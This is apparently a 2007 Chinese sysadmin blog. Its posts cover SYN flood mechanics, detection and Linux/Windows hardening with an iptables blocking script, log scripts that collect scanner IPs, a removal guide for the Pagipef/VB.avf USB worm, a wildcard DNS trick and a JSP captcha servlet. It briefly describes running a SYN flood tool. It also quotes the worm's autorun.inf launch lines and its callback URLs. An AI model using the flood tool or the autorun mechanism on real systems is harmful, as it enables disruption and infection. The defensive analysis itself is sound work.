以上这是l7-filter的一些基本使用方法,在我使用过程中,发现此软件仍然存在一些不足之处,比如说,一旦启用-m layer7参数后,满屏都是过滤数据,让人眼花缭乱,切换终端也无济于事,只能通过ssh连接查看。还有就是匹配准确程度并不高,还有待提高。但是作为目前iptables尚没有的功能的过渡产物来说,它的存在还是给了我们极大的方便。到此,对这个软件的简单介绍做一个段落,目前这个项目正在发展中,请多多关注其发展动态。

参考资料:
1. netfilter简介http://www.xagoogle.com/resource/netfilter/netfilter005.htm
2. netfilter/iptables概念http://www-900.ibm.com/developer ... s-netip/index.shtml
3. 通过 改变TOS优化性能http://www.linuxforum.net/forum/ ... d&sb=5&o=all&fpart=
4. iptables的配置工具:http://www.cngnu.org/technology/9607/294.html
5. linux高级路由和流量控制的文档:http://lartc.org/
6. l7-filter的官方网站:http://l7-filter.sourceforge.net/
7. 如何编译2.6.x内核:http://www.linuxforum.net/forum/ ... sed&sb=7&o=7&fpart=

Posted by vitter at 2007-03-14 18:00:29 | 评论 (0) | 引用

关于网站的SYN_RECV攻击的防范措施

偶管的blog服务器syn攻击了。
SYN攻击是最常见又最容易被利用的一种攻击手法。相信很多人还记得2000年YAHOO网站遭受的攻击事例,当时黑客利用的就是简单而有效的SYN攻击,有些网络蠕虫病毒配合SYN攻击造成更大的破坏。本文介绍SYN攻击的基本原理、工具及检测方法,并全面探讨SYN攻击防范技术。
一、TCP握手协议
在TCP/IP协议中,TCP协议提供可靠的连接服务,采用三次握手建立一个连接。
第一次握手:建立连接时,客户端发送syn包(syn=j)到服务器,并进入SYN_SEND状态,等待服务器确认;
第二次握手:服务器收到syn包,必须确认客户的SYN(ack=j+1),同时自己也发送一个SYN包(syn=k),即SYN+ACK包,此时服务器进入SYN_RECV状态;
第三次握手:客户端收到服务器的SYN+ACK包,向服务器发送确认包ACK(ack=k+1),此包发送完毕,客户端和服务器进入ESTABLISHED状态,完成三次握手。

(TCP 连接示意图)

(TCP 关闭示意图)
完成三次握手,客户端与服务器开始传送数据,在上述过程中,还有一些重要的概念:
未连接队列:在三次握手协议中,服务器维护一个未连接队列,该队列为每个客户端的SYN包(syn=j)开设一个条目,该条目表明服务器已收到SYN包,并向客户发出确认,正在等待客户的确认包。这些条目所标识的连接在服务器处于Syn_RECV状态,当服务器收到客户的确认包时,删除该条目,服务器进入 ESTABLISHED状态。
Backlog参数:表示未连接队列的最大容纳数目。
SYN-ACK 重传次数 服务器发送完SYN-ACK包,如果未收到客户确认包,服务器进行首次重传,等待一段时间仍未收到客户确认包,进行第二次重传,如果重传次数超过系统规定的最大重传次数,系统将该连接信息从半连接队列中删除。注意,每次重传等待的时间不一定相同。
半连接存活时间:是指半连接队列的条目存活的最长时间,也即服务从收到SYN包到确认这个报文无效的最长时间,该时间值是所有重传请求包的最长等待时间总和。有时我们也称半连接存活时间为Timeout时间、SYN_RECV存活时间。
二、SYN攻击的基本原理
SYN攻击属于DOS攻击的一种,它利用TCP协议缺陷,通过发送大量的半连接请求,耗费CPU和内存资源。SYN攻击除了能影响主机外,还可以危害路由器、防火墙等网络系统,事实上SYN攻击并不管目标是什么系统,只要这些系统打开TCP服务就可以实施。从上图可看到,服务器接收到连接请求(syn= j),将此信息加入未连接队列,并发送请求包给客户(syn=k,ack=j+1),此时进入SYN_RECV状态。当服务器未收到客户端的确认包时,重发请求包,一直到超时,才将此条目从未连接队列删除。配合IP欺骗,SYN攻击能达到很好的效果,通常,客户端在短时间内伪造大量不存在的IP地址,向服务器不断地发送syn包,服务器回复确认包,并等待客户的确认,由于源地址是不存在的,服务器需要不断的重发直至超时,这些伪造的SYN包将长时间占用未连接队列,正常的SYN请求被丢弃,目标系统运行缓慢,严重者引起网络堵塞甚至系统瘫痪。
三、SYN攻击工具
SYN攻击实现起来非常的简单,互联网上有大量现成的SYN攻击工具。
windows系统下的SYN工具
以synkill.exe为例,运行工具,选择随机的源地址和源端囗,并填写目标机器地址和TCP端囗,激活运行,很快就会发现目标系统运行缓慢。如果攻击效果不明显,可能是目标机器并未开启所填写的TCP端囗或者防火墙拒绝访问该端囗,此时可选择允许访问的TCP端囗,通常,windows系统开放 tcp139端囗,UNIX系统开放tcp7、21、23等端囗。
四、检测SYN攻击
检测SYN攻击非常的方便,当你在服务器上看到大量的半连接状态时,特别是源IP地址是随机的,基本上可以断定这是一次SYN攻击。我们使用系统自带的netstat 工具来检测SYN攻击:
  # netstat -n -p TCP
  tcp 0  0 10.11.11.11:23  124.173.152.8:25882  SYN_RECV -
  tcp 0  0 10.11.11.11:23  236.15.133.204:2577  SYN_RECV -
  tcp 0  0 10.11.11.11:23  127.160.6.129:51748  SYN_RECV -
  tcp 0  0 10.11.11.11:23  222.220.13.25:47393  SYN_RECV -
  tcp 0  0 10.11.11.11:23  212.200.204.182:60427 SYN_RECV -
  tcp 0  0 10.11.11.11:23  232.115.18.38:278   SYN_RECV -
  tcp 0  0 10.11.11.11:23  239.116.95.96:5122  SYN_RECV -
  tcp 0  0 10.11.11.11:23  236.219.139.207:49162 SYN_RECV -
上面是在LINUX系统中看到的,很多连接处于SYN_RECV状态(在WINDOWS系统中是SYN_RECEIVED状态),源IP地址都是随机的(也可能是同一个IP的很多SYN_RECV连接状态),表明这是一种带有IP欺骗的SYN攻击。
我们也可以通过下面的命令直接查看在LINUX环境下某个端囗的未连接队列的条目数:
  #netstat –atun | grep SYN_RECV | grep :80 | wc -l

显示TCP端囗80的未连接数请求及个数,虽然还远达不到系统极限,但应该引起管理员的注意。
五、SYN攻击防范技术
关于SYN攻击防范技术,人们研究得比较早。归纳起来,主要有两大类,一类是通过防火墙、路由器等过滤网关防护,另一类是通过加固TCP/IP协议栈防范.但必须清楚的是,SYN攻击不能完全被阻止,我们所做的是尽可能的减轻SYN攻击的危害,除非将TCP协议重新设计。
1、过滤网关防护
这里,过滤网关主要指明防火墙,当然路由器也能成为过滤网关。防火墙部署在不同网络之间,防范外来非法攻击和防止保密信息外泄,它处于客户端和服务器之间,利用它来防护SYN攻击能起到很好的效果。过滤网关防护主要包括超时设置,SYN网关和SYN代理三种。
■网关超时设置:防火墙设置SYN转发超时参数(状态检测的防火墙可在状态表里面设置),该参数远小于服务器的timeout时间。当客户端发送完SYN 包,服务端发送确认包后(SYN+ACK),防火墙如果在计数器到期时还未收到客户端的确认包(ACK),则往服务器发送RST包,以使服务器从队列中删去该半连接。值得注意的是,网关超时参数设置不宜过小也不宜过大,超时参数设置过小会影响正常的通讯,设置太大,又会影响防范SYN攻击的效果,必须根据所处的网络应用环境来设置此参数。
■SYN网关:SYN网关收到客户端的SYN包时,直接转发给服务器;SYN网关收到服务器的SYN/ACK包后,将该包转发给客户端,同时以客户端的名义给服务器发ACK确认包。此时服务器由半连接状态进入连接状态。当客户端确认包到达时,如果有数据则转发,否则丢弃。事实上,服务器除了维持半连接队列外,还要有一个连接队列,如果发生SYN攻击时,将使连接队列数目增加,但一般服务器所能承受的连接数量比半连接数量大得多,所以这种方法能有效地减轻对服务器的攻击。
■SYN代理:当客户端SYN包到达过滤网关时,SYN代理并不转发SYN包,而是以服务器的名义主动回复SYN/ACK包给客户,如果收到客户的ACK 包,表明这是正常的访问,此时防火墙向服务器发送ACK包并完成三次握手。SYN代理事实上代替了服务器去处理SYN攻击,此时要求过滤网关自身具有很强的防范SYN攻击能力。
2、加固tcp/ip协议栈
防范SYN攻击的另一项主要技术是调整tcp/ip协议栈,修改tcp协议实现。主要方法有SynAttackProtect保护机制、SYN cookies技术、增加最大半连接和缩短超时时间等。tcp/ip协议栈的调整可能会引起某些功能的受限,管理员应该在进行充分了解和测试的前提下进行此项工作。
■ SynAttackProtect机制 (针对windows操作系统)
为防范SYN攻击,win2000系统的tcp/ip协议栈内嵌了SynAttackProtect机制,Win2003系统也采用此机制。 SynAttackProtect机制是通过关闭某些socket选项,增加额外的连接指示和减少超时时间,使系统能处理更多的SYN连接,以达到防范 SYN攻击的目的。默认情况下,Win2000操作系统并不支持SynAttackProtect保护机制,需要在注册表以下位置增加 SynAttackProtect键值:
  HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters
当SynAttackProtect值(如无特别说明,本文提到的注册表键值都为十六进制)为0或不设置时,系统不受SynAttackProtect保护。
当SynAttackProtect值为1时,系统通过减少重传次数和延迟未连接时路由缓冲项(route cache entry)防范SYN攻击。
当SynAttackProtect值为2时(Microsoft推荐使用此值),系统不仅使用backlog队列,还使用附加的半连接指示,以此来处理更多的SYN连接,使用此键值时,tcp/ip的TCPInitialRTT、window size和可滑动窗囗将被禁止。
我们应该知道,平时,系统是不启用SynAttackProtect机制的,仅在检测到SYN攻击时,才启用,并调整tcp/ip协议栈。那么系统是如何检测SYN攻击发生的呢?事实上,系统根据TcpMaxHalfOpen,TcpMaxHalfOpenRetried 和TcpMaxPortsExhausted三个参数判断是否遭受SYN攻击。
TcpMaxHalfOpen 表示能同时处理的最大半连接数,如果超过此值,系统认为正处于SYN攻击中。Win2000 server默认值为100,Win2000 Advanced server为500。
TcpMaxHalfOpenRetried定义了保存在backlog队列且重传过的半连接数,如果超过此值,系统自动启动 SynAttackProtect机制。Win2000 server默认值为80,Win2000 Advanced server为400。
TcpMaxPortsExhausted 是指系统拒绝的SYN请求包的数量,默认是5。
如果想调整以上参数的默认值,可以在注册表里修改(位置与SynAttackProtect相同)
■ SYN cookies技术
我们知道,TCP协议开辟了一个比较大的内存空间backlog队列来存储半连接条目,当SYN请求不断增加,并这个空间,致使系统丢弃SYN连接。为使半连接队列被塞满的情况下,服务器仍能处理新到的SYN请求,SYN cookies技术被设计出来。
SYN cookies应用于linux、FreeBSD等操作系统,当半连接队列满时,SYN cookies并不丢弃SYN请求,而是通过加密技术来标识半连接状态。
在TCP实现中,当收到客户端的SYN请求时,服务器需要回复SYN+ACK包给客户端,客户端也要发送确认包给服务器。通常,服务器的初始序列号由服务器按照一定的规律计算得到或采用随机数,但在SYN cookies中,服务器的初始序列号是通过对客户端IP地址、客户端端囗、服务器IP地址和服务器端囗以及其他一些安全数值等要素进行hash运算,加密得到的,称之为cookie。当服务器遭受SYN攻击使得backlog队列满时,服务器并不拒绝新的SYN请求,而是回复cookie(回复包的 SYN序列号)给客户端,如果收到客户端的ACK包,服务器将客户端的ACK序列号减去1得到cookie比较值,并将上述要素进行一次hash运算,看看是否等于此 cookie。如果相等,直接完成三次握手(注意:此时并不用查看此连接是否属于backlog队列)。
在RedHat linux中,启用SYN cookies是通过在启动环境中设置以下命令来完成:
  # echo 1 > /proc/sys/net/ipv4/tcp_syncookies
注:也可以通过修改其它参数,或者使用/proc/sys/net/ipv4/netfilter/ip_contrack_*
■ 增加最大半连接数(加大未连接队列空间)
大量的SYN请求导致未连接队列被塞满,使正常的TCP连接无法顺利完成三次握手,通过增大未连接队列空间可以缓解这种压力。当然backlog队列需要占用大量的内存资源,不能被无限的扩大。
WIN2000:除了上面介绍的TcpMaxHalfOpen, TcpMaxHalfOpenRetried参数外,WIN2000操作系统可以通过设置动态backlog(dynamic backlog)来增大系统所能容纳的最大半连接数,配置动态backlog由AFD.SYS驱动完成,AFD.SYS是一种内核级的驱动,用于支持基于 window socket的应用程序,比如ftp、telnet等。AFD.SYS在注册表的位置:
HKLM\System\CurrentControlSet\Services\AFD\ParametersEnableDynamicBacklog
值为1时,表示启用动态backlog,可以修改最大半连接数。 
MinimumDynamicBacklog表示半连接队列为单个TCP端囗分配的最小空闲连接数,当该TCP端囗在backlog队列的空闲连接小于此临界值时,系统为此端囗自动启用扩展的空闲连接(DynamicBacklogGrowthDelta),Microsoft推荐该值为20。
MaximumDynamicBacklog是当前活动的半连接和空闲连接的和,当此和超过某个临界值时,系统拒绝SYN包,Microsoft推荐MaximumDynamicBacklog值不得超过2000。
DynamicBacklogGrowthDelta值是指扩展的空闲连接数,此连接数并不计算在MaximumDynamicBacklog内,当半连接队列为某个TCP端囗分配的空闲连接小于MinimumDynamicBacklog时,系统自动分配 DynamicBacklogGrowthDelta所定义的空闲连接空间,以使该TCP端囗能处理更多的半连接。Microsoft推荐该值为10。
LINUX:Linux用变量tcp_max_syn_backlog定义backlog队列容纳的最大半连接数。在Redhat 7.3中,该变量的值默认为256,在AS中,是1024。这个值是远远不够的,一次强度不大的SYN攻击就能使半连接队列占满。我们可以通过以下命令修改此变量的值:
  # sysctl -w net.ipv4.tcp_max_syn_backlog="2048"
Sun Solaris Sun Solaris用变量tcp_conn_req_max_q0来定义最大半连接数,在Sun Solaris 8中,该值默认为1024,可以通过add命令改变这个值:
  # ndd -set /dev/tcp tcp_conn_req_max_q0 2048
HP-UX:HP-UX用变量tcp_syn_rcvd_max来定义最大半连接数,在HP-UX 11.00中,该值默认为500,可以通过ndd命令改变默认值:
  #ndd -set /dev/tcp tcp_syn_rcvd_max 2048
■ 缩短超时时间
上文提到,通过增大backlog队列能防范SYN攻击;另外减少超时时间也使系统能处理更多的SYN请求。我们知道,timeout超时时间,也即半连接存活时间,是系统所有重传次数等待的超时时间总和,这个值越大,半连接数占用backlog队列的时间就越长,系统能处理的SYN请求就越少。为缩短超时时间,可以通过缩短重传超时时间(一般是第一次重传超时时间)和减少重传次数来实现。
Win2000第一次重传之前等待时间默认为3秒,为改变此默认值,可以通过修改网络接口在注册表里的TcpInitialRtt注册值来完成。重传次数由TcpMaxConnectResponseRetransmissions 来定义,注册表的位置是:HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters registry key。
当然我们也可以把重传次数设置为0次,这样服务器如果在3秒内还未收到ack确认包就自动从backlog队列中删除该连接条目。
LINUX:Redhat使用变量tcp_synack_retries定义重传次数,其默认值是5次,总超时时间需要3分钟。
# sysctl -w net.ipv4.tcp_synack_retries="0"
Sun Solaris Solaris 默认的重传次数是3次,总超时时间为3分钟,可以通过ndd命令修改这些默认值。
综合上述的方法:在linux下可以通过修改/etc/ sysctl.conf,添加下列选项达到效果。
## add by geminis for syn crack
net.ipv4.tcp_syncookies = 1
net.ipv4.tcp_max_syn_backlog="2048"
net.ipv4.tcp_synack_retries="1"

六.编写bash脚本进行防范(我的方法是统计同一个IP的状态包并处理)
#!/bin/sh
## 定义变量
MAX_TOTAL_SYN_RECV="1000"
MAX_PER_IP_SYN_RECV="20"
MARK="SYN_RECV"
PORT="80"
LOGFILE="/var/log/netstat_$MARK-$PORT"
LOGFILE_IP="/var/log/netstat_connect_ip.log"
DROP_IP_LOG="/var/log/netstat_syn_drop_ip.log"
## iptables初始化,拒绝非法包和不明状态的包,允许请求包和已经连接的包进入
iptables -F -t filter
iptables -A INPUT -p TCP ! --syn -m state --state NEW -j DROP
iptables -A INPUT -p ALL -m state --state INVALID -j DROP
iptables -A INPUT -p ALL -m state --state ESTABLISHED,RELATED -j ACCEPT
## 初始化变量
if [ -z $MARK ];then
MARK="LISTEN"
fi
if [ -z $PORT ];then
SPORT="tcp"
else
SPORT=":$PORT"
fi
######################## end
## 保存netstat结果到指定记录文件中便于分析
netstat -atun|grep $MARK|grep $SPORT 2>/dev/null >$LOGFILE
REPEAT_CONNECT_IP=`less $LOGFILE|awk '{print $5}'|cut -f1 -d ':'|sort|uniq -d |tee > $LOGFILE_IP`
## 如果IP记录文件不为空,则从原来的记录文件中读取记录并添加规则
if [ -s $DROP_IP_LOG ];then
for i in `less $DROP_IP_LOG|awk '{print $1}'`;do
/sbin/iptables -A INPUT -p ALL -s $i -j DROP
done
fi
for i in `less $LOGFILE_IP`;do
## 统计同一个IP在在的SYN_RECV状态
REPEAT_CONNECT_NUM=`grep $i $LOGFILE|wc -l`
## 如果超过了预设的同一个IP的连接数,就拒绝此IP的连接包进入
if [ $REPEAT_CONNECT_NUM -gt $MAX_PER_IP_SYN_RECV ];then
echo "$i $REPEAT_CONNECT_NUM" >> $DROP_IP_LOG
iptables -A INPUT -p ALL -s $i -j DROP
fi
done
## 统计所有状态为SYN_RECV状态的数据包,如果数量超过预设,就重置状态。
ALL_CONNECT=`uniq -u $LOGFILE|wc -l`
echo $ALL_CONNECT
## count repeat connections ,if the accout is large than default number,then drop packages
if [ $ALL_CONNECT -gt $MAX_TOTAL_SYN_RECV ];then
echo $ALL_CONNECT
exit
fi

课外知识:
这些记录会使得一些 log 统计分析软件在统计的时候出现错误警告,同时我们也不希望经常被这些扫描者所骚扰,于是就试着写了一个脚本,把 apache 的 log 中的这些 IP 地址读取出来,以便以后在做 Iptables 的时候可以使用。脚本代码:
######## Ver 0.2
# ==== NULL.ida扫描者IP排序脚本
#!/bin/sh
### null.ida_stat.sh, Ver. 0.2 2004/05/18 13:41:32 Kreny
LOG_FILE1='/usr/local/apache2/logs/www.domain1.com-access_log'
LOG_FILE2='/usr/local/apache2/logs/www.domain2.com-access_log'
# You can add more log files here.
#LOG_FILE3='/usr/local/apache2/logs/www.domain3.com-access_log'
#LOG_FILE4='/usr/local/apache2/logs/www.domain4.com-access_log'
#LOG_FILE5='/usr/local/apache2/logs/www.domain5.com-access_log'
FINAL_FILE='/home/user/public_html/log/ida.txt'
DATE=`date`
# Rank the IP addresses of NULL.IDA scanner
## Add your LOG_FILEs after the $LOG_FILE2
less $LOG_FILE1 $LOG_FILE2 | grep NULL.IDA | awk '{print $1}'| sort | uniq -c | sort -rn > $FINAL_FILE
echo "" >> $FINAL_FILE
echo "Last update:".$DATE >> $FINAL_FILE


# ========= 仅列出IP地址 (感谢 随风漂 指导)=====
#!/bin/sh
####### null.ida_stat.sh, Ver. 0.2 2004/05/18 13:41:32 Kreny #######
####### Only List the Scanner's IPs #######
LOG_FILE1='/usr/local/apache2/logs/www.domain1.com-access_log'
LOG_FILE2='/usr/local/apache2/logs/www.domain2.com-access_log'
# You can add more log files here.
#LOG_FILE3='/usr/local/apache2/logs/www.domain3.com-access_log'
#LOG_FILE4='/usr/local/apache2/logs/www.domain4.com-access_log'
#LOG_FILE5='/usr/local/apache2/logs/www.domain5.com-access_log'
FINAL_FILE='/home/user/public_html/log/ida_ip.txt'
DATE=`date`
awk '/NULL.IDA/{print $1}' $LOG_FILE1 $LOG_FILE2 | sort -u > $FINAL_FILE
echo "" >> $FINAL_FILE
echo "Last update:".$DATE >> $FINAL_FILE


### Ver 0.1 #########################
#!/bin/sh
### null.ida_stat.sh, Ver. 0.1 2004/05/15 14:33:28 Kreny
LOG_FILE1='/usr/local/apache2/logs/www.domain1.com-access_log'
LOG_FILE2='/usr/local/apache2/logs/www.domain2.com-access_log'
### You can add more log files here.
#LOG_FILE3='/usr/local/apache2/logs/www.domain3.com-access_log'
#LOG_FILE4='/usr/local/apache2/logs/www.domain4.com-access_log'
#LOG_FILE5='/usr/local/apache2/logs/www.domain5.com-access_log'
TMP_FILE='/home/user/public_html/log/ida.tmp'
FINAL_FILE='/home/user/public_html/log/ida.txt'
DATE=`date`
### Get the IP addresses of NULL.IDA scanner
less $LOG_FILE1 | grep NULL.IDA | awk '{print $1}' > $TMP_FILE
less $LOG_FILE2 | grep NULL.IDA | awk '{print $1}' >> $TMP_FILE
#less $LOG_FILE3 | grep NULL.IDA | awk '{print $1}' >> $TMP_FILE
#less $LOG_FILE4 | grep NULL.IDA | awk '{print $1}' >> $TMP_FILE
#less $LOG_FILE5 | grep NULL.IDA | awk '{print $1}' >> $TMP_FILE
sort $TMP_FILE | uniq -c | sort -rn > $FINAL_FILE
echo "" >> $FINAL_FILE
echo "Last update:".$DATE >> $FINAL_FILE


应用在其他方面
awk 的强大功能可以运用在更多的地方,例如通过检查在qmailscaner的病毒隔离目录中的邮件,得出发邮件主机的IP地址,以便在Iptables 中进行一些设置。查看我的统计记录
代码:
less /var/spool/qmailscan/quarantine/new/*| grep 'HELO' | awk '{print $6}' | cut -d \( -f2 | cut -d \) -f1 | sort | uniq -c | sort -rn > /home/kreny/public_html/viruse_smtp.txt
echo 'Last Update:' >> /home/kreny/public_html/viruse_smtp.txt
date >> /home/kreny/public_html/viruse_smtp.txt
还有很多问题没有解决,比如说提出了病毒邮件的ip address以后,怎么样自动加到iptables里面去,是否可以用shell命令解决,之类等等。

Posted by vitter at 2007-03-14 16:36:28 | 评论 (0) | 引用

March 13, 2007

March 02, 2007

Trojan.Win32.VB.avf(卡巴)分析+杀毒方案

前言:今天同事中毒了,终于看到了传说中的病毒了:
进程里面同时出现了两个lsass.exe和两个smss.exe两个进程,其中运行用户有当前用户和SYSTEM之分,当前用户运行的是病毒,这两个文件同时出现在c:\windows\system32\com里面


分析:

smss.exe

File size: 6089 bytes
MD5: f2dd64a520abbc1131b52009514ad014
SHA1: 316a2cd3cdd3e60b6d655bf0e18d8334b84d09b6
packers: FSG

卡巴报:Trojan.Win32.VB.avf

瑞星报:Trojan.VB.wai

lsass.exe

File size: 40960 bytes
MD5: ef29f79e131dfce7a416184b9faf2ad3
SHA1: be8186da3b917e43e6640631e02bd5d3787beb70
packers: BINARYRES, FSG

AntiVir 7.2.0.49 12.12.2006 TR/VB.avf.1
Authentium 4.93.8 12.11.2006 no virus found
Avast 4.7.892.0 12.12.2006 no virus found
AVG 386 12.11.2006 no virus found
BitDefender 7.2 12.12.2006 no virus found
CAT-QuickHeal 8.00 12.11.2006 no virus found
ClamAV devel-20060426 12.11.2006 no virus found
DrWeb 4.33 12.12.2006 no virus found
eSafe 7.0.14.0 12.11.2006 no virus found
eTrust-InoculateIT 23.73.83 12.12.2006 no virus found
eTrust-Vet 30.3.3246 12.12.2006 no virus found
Ewido 4.0 12.11.2006 no virus found
Fortinet 2.82.0.0 12.12.2006 no virus found
F-Prot 3.16f 12.11.2006 no virus found
F-Prot4 4.2.1.29 12.11.2006 no virus found
Ikarus T3.1.0.26 12.12.2006 no virus found
Kaspersky 4.0.2.24 12.12.2006 no virus found
McAfee 4916 12.11.2006 no virus found
Microsoft 1.1804 12.12.2006 no virus found
NOD32v2 1916 12.12.2006 Win32/VB.NFY
Norman 5.80.02 12.11.2006 no virus found
Panda 9.0.0.4 12.12.2006 Suspicious file
Prevx1 V2 12.12.2006 no virus found
Sophos 4.12.0 12.10.2006 Mal/Packer
Sunbelt 2.2.907.0 11.30.2006 no virus found
TheHacker 6.0.3.131 12.10.2006 no virus found
UNA 1.83 12.11.2006 no virus found
VBA32 3.11.1 12.11.2006 suspected of Embedded.Trojan.Win32.VB.avf
VirusBuster 4.3.15:9 12.11.2006 no virus found

其中smss运行后没反应,lsass运行后行为如下:

1,感染系统后释放的病毒文件及其所在目录如下:
(1)X:\WINDOWS\SYSTEM32\COM\LSASS.EXE
(2)X:\WINDOWS\SYSTEM32\COM\SMSS.EXE
(3)X:\WINDOWS\SYSTEM32\COM\~.EXE(运行后自动删除)
(4)X:\Documents and Settings\当前用户名\「开始」菜单\程序\启动\~.pif(运行后自动删除,关闭系统前再次写入.这个文件只有在安全模式下才能看到,在正常模式下就算显示隐藏文件也无法看到,用ICESWORD也无法看到,SRENG也扫不出来)

(5)X:\AUTORUN.INF
(6)X:\PAGEFILE.PIF
(7)Y:\AUTORUN.INF
(8)Y:\PAGEFILE.PIF
【注】
X:系统分区
Y:其它分区

2,感染系统分区以外的所有.exe文件。(特别说明:这两个文件都不是病毒的主体,只是病毒产生的,所以运行并没有感染文件的行为 .据猫叔和gudugd测试这个病毒都有感染exe文件的行为,是在头部和尾部各写入一段代码)

3,感染USB设备.AUTORUN.INF内容为:

[AUTORUN]

open=pagefile.pif

shellexecute=pagefile.pif

shell\auto\command=pagefile.pif

4、此毒在“禁止查看隐藏文件”方面似有缺陷。中招后,用户自己设置一下文件夹选项,隐藏文件即刻暴露

5,LSASS和SMSS两个进程相互保护

解决方案:

1,重启进入安全模式

2,用ICESWORD结束X:\WINDOWS\SYSTEM32\COM\LSASS.EXE,X:\WINDOWS\SYSTEM32\COM\SMSS.EXE这两个进程.删前请这样设置ICESWORD:文件-设置-勾上"禁止进线程的创建"

3,我的电脑,工具,文件夹选项,查看,单击选取"显示隐藏文件或文件夹"清除"隐藏受保护的操作系统文件(推荐)"复选框。在提示确定更改时,单击“是”,在隐藏文件和文件夹选项里选择显示所有文件和文件夹 清除“隐藏已知文件类型的扩展名

4,删除病毒文件:

X:\WINDOWS\SYSTEM32\COM\LSASS.EXE

X:\WINDOWS\SYSTEM32\COM\SMSS.EXE

5,删除各个盘下的PAGEFILE.PIF,AUTORUN.INF

6,删除X:\Documents and Settings\当前用户名\「开始」菜单\程序\启动\~.pif

7,把杀软升级到最新的病毒库,清理被病毒感染的exe文件(不推荐手动清除,太麻烦.今天卡巴的库能清除)


注意:在清除过程中不能双击打开盘符(C,D,E...),要用右键--打开.不要运行被病毒感染的exe文件.

上面是网上网友的分析和杀毒过程,但是我同事用的咔吧没法清除感染的exe文件,我拿U盘上感染了的程序在我机器上测试了下,发现诺顿企业版10最新病毒库(2007.3.1)可以干掉。
诺顿报 W32.Pagipef.B
可以参考http://www.symantec.com/security_response/writeup.jsp?docid=2006-121810-1308-99

Discovered: December 18, 2006
Updated: February 13, 2007 1:02:54 PM
Type: Worm
Systems Affected: Windows 2000, Windows 95, Windows 98, Windows Me, Windows NT, Windows Server 2003, Windows XP


When W32.Pagipef.B is executed, it performs the following actions:

Drops the original host file as the following file and executes it:

[RANDOM FILENAME].~tmp.exe


Copies itself to the following file:

%System%\Com\lsass.exe

Note: %System% is a variable that refers to the System folder. By default this is C:\Windows\System (Windows 95/98/Me), C:\Winnt\System32 (Windows NT/2000), or C:\Windows\System32 (Windows XP).


Creates the following file:

%System%\Com\smss.exe


Creates the following files on remote and removable drives:


[DRIVE LETTER]:\autorun.inf
[DRIVE LETTER]:\pagefile.pif
[DRIVE LETTER]:\_system~.ini


Attempts to periodically open the following URLs with Internet Explorer:


[http://]www.265dm.cn/ge[REMOVED]
[http://]xyk.txhi.com/heh[REMOVED]

RecommendationsSymantec Security Response encourages all users and administrators to adhere to the following basic security "best practices":

Turn off and remove unneeded services. By default, many operating systems install auxiliary services that are not critical, such as an FTP server, telnet, and a Web server. These services are avenues of attack. If they are removed, blended threats have less avenues of attack and you have fewer services to maintain through patch updates.
If a blended threat exploits one or more network services, disable, or block access to, those services until a patch is applied.
Always keep your patch levels up-to-date, especially on computers that host public services and are accessible through the firewall, such as HTTP, FTP, mail, and DNS services (for example, all Windows-based computers should have the current Service Pack installed.). Additionally, please apply any security updates that are mentioned in this writeup, in trusted Security Bulletins, or on vendor Web sites.
Enforce a password policy. Complex passwords make it difficult to crack password files on compromised computers. This helps to prevent or limit damage when a computer is compromised.
Configure your email server to block or remove email that contains file attachments that are commonly used to spread viruses, such as .vbs, .bat, .exe, .pif and .scr files.
Isolate infected computers quickly to prevent further compromising your organization. Perform a forensic analysis and restore the computers using trusted media.
Train employees not to open attachments unless they are expecting them. Also, do not execute software that is downloaded from the Internet unless it has been scanned for viruses. Simply visiting a compromised Web site can cause infection if certain browser vulnerabilities are not patched.

Writeup By: Stephen Doherty

Posted by vitter at 2007-03-02 19:26:24 | 评论 (0) | 引用

March 01, 2007

困扰我好久的万网域名解析10个限制被我搞定了

一直以来想让博客启用自定义三级域名的功能,但是由于域名注册在万网只让解析10个二级域名而且不支持三级域名,总想用*.blog的A记录解析到blog服务器上可惜没办法,不过今天发现一个问题,他的二级域名可以用*的,我就直接把*的A记录指定到服务器IP上了,这样只要我的apache虚拟机和blog程序没问题就可以了
但是有一个问题,就是你所有的二级域名都只能指向到这个一个IP了,很是不爽,但是也没办法,凑合用吧。
把apache的rewrite启用就ok了。
不知道万网以后会不会把这个小小的bug给封了,先用着吧,好在我有多个域名,唯一不爽的就是跨域名的认证不好弄。

Posted by vitter at 2007-03-01 17:48:37 | 评论 (0) | 引用

February 26, 2007

linux+resin做图片验证码

今天登陆qq发现有网友问jsp生成图片问题,关于resin和JDK的可以参考

servlet:

package com.abc.common.inc;
import java.io.*;
import java.util.*;
import com.sun.image.codec.jpeg.*;
import javax.servlet.*;
import javax.servlet.http.*;
import java.awt.*;
import java.awt.image.*;
/**
* Title: getImg.java
* Description: 实现随机生成一个4位数的验证码,并写入session,
* Company:
* @author
* @version 1.0
*/
public class getImg extends HttpServlet {
private Font mFont=new Font("宋体", Font.PLAIN,12);//设置字体
//处理post
public void doPost(HttpServletRequest request,HttpServletResponse response)
throws ServletException,IOException {
doGet(request,response);
}
public void doGet(HttpServletRequest request,HttpServletResponse response)
throws ServletException,IOException {
//取得一个1000-9999的随机数
String s="";
int intCount=0;
intCount=(new Random()).nextInt(9999);
if(intCount<1000)intCount+=1000;
s=intCount+"";
//对session赋值。
HttpSession session=request.getSession(true);
session.setAttribute("VerifyCode",s);
response.setContentType("image/gif");
ServletOutputStream out1=response.getOutputStream();
BufferedImage image=new BufferedImage(35,14,BufferedImage.TYPE_INT_RGB);
Graphics gra=image.getGraphics();
//设置背景色
gra.setColor(Color.white);
gra.fillRect(1,1,33,12);
//设置字体色
gra.setColor(Color.black);
gra.setFont(mFont);
//输出数字
char c;
for(int i=0;i<4;i++) {
c=s.charAt(i);
gra.drawString(c+"",i*7+4,11); //7为宽度,11为上下高度位置
}
JPEGImageEncoder encoder=JPEGCodec.createJPEGEncoder(out1);
encoder.encode(image);
out1.close();
//session.setAttribute("VerifyCode",s);
}
}

jsp调用:
<%@ page contentType="text/html;charset=GBK"%>
<%@ page import="java.lang.*,com.abc.common.inc.getImg"%>
<html>
<head>
<title>
图形验证码
</title>
</head>
<body bgcolor="#ffffff">
<%
System.err.print("aaaaaaaaaaaa");
%>

调用SERVLET生成图形验证码:
<img src="/getimg" width="50" height="20">
<%
System.err.print("bbbbbbbbbbb");
//取得验证码
String VerifyCode="";
VerifyCode = (String)session.getAttribute("VerifyCode");
if(VerifyCode==null||VerifyCode.equals(""))
{
out.println("get Code from session is null jsp");
}
else
{
out.println("get Code from session:"+VerifyCode);
}
System.err.print("cccccccccccccc");
%>
</body>
</html>
